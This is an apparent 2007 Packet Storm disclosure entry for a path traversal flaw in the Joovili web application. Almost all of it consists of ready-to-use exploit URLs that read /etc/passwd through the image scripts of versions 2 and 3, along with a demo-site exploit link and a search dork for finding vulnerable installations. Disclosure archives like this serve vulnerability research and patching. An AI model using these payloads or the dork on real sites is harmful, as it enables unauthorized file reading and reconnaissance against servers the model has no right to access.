joovili-disclose.txt

2007-12-29T00:00:00
ID PACKETSTORM:62136
Type packetstorm
Reporter EcHoLL
Modified 2007-12-29T00:00:00

Description

                                        
                                            `found by EcHoLL  
version: 2.***  
include/images.inc.php?picture=../../../../../../../../etc/passwd&thumbnail=FALSE  
include/images.inc.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE  
  
version 3.**  
joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE  
joovili.images.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE  
  
  
demo  
http://demo.joovili.com/include/joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE  
dork: powered by joovili  
`